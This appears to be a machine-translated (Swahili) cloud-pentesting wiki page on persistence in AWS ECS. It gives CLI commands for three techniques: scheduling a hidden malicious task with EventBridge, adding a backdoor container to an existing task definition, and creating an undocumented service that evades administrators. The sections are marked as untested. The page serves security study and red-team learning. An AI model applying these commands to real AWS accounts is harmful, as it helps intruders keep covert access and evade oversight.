AWS - ECS Persistence

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ECS

For more information check:

AWS - ECS Enum

Hidden Periodic ECS Task

TODO: Test

Mshambuliaji anaweza kuunda kazi ya ECS ya siri ya muda wa kawaida kwa kutumia Amazon EventBridge ili kuweka ratiba ya utekelezaji wa kazi mbaya mara kwa mara. Kazi hii inaweza kufanya upelelezi, kuhamasisha data, au kudumisha kudumu katika akaunti ya AWS.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

Backdoor Container katika Mwelekeo wa Kazi wa ECS uliopo

TODO: Test

Mshambuliaji anaweza kuongeza konteina ya nyuma isiyoonekana katika mwelekeo wa kazi wa ECS uliopo ambayo inafanya kazi pamoja na konteinia halali. Konteina ya nyuma inaweza kutumika kwa kudumu na kutekeleza shughuli mbaya.

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

Undocumented ECS Service

TODO: Test

Mshambuliaji anaweza kuunda huduma ya ECS isiyoandikwa inayokimbia kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa habari, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"

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